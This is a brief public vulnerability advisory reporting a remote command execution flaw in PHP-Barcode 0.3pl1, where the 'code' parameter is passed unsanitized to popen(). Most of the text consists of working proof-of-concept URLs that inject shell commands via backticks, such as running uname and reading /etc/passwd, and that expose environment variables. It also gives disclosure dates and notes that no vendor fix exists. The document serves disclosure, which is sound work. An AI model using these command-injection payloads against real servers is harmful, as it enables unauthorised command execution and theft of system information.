PHP-Barcode 0.3pl1 Remote Code Execution ================================= The input passed to the code parameter is not sanitized and is used on a popen() function. This allows remote command execution and also allows to see environment vars: Windows http://www.site.com/php-barcode/barcode.php?code=%TMP% Linux http://www.site.com/php-barcode/barcode.php?code=012$PATH$d http://www.site.com/php-barcode/barcode.php?code=`uname%20-a` http://www.site.com/php-barcode/barcode.php?code=`tail%20-1%20/etc/passwd` Vendor: http://www.ashberg.de/php-barcode/download/ Vendor informed: July 6 / 2011 Vendor acknowledgement: July 7 / 2011 Fix not available from vendor. - beford
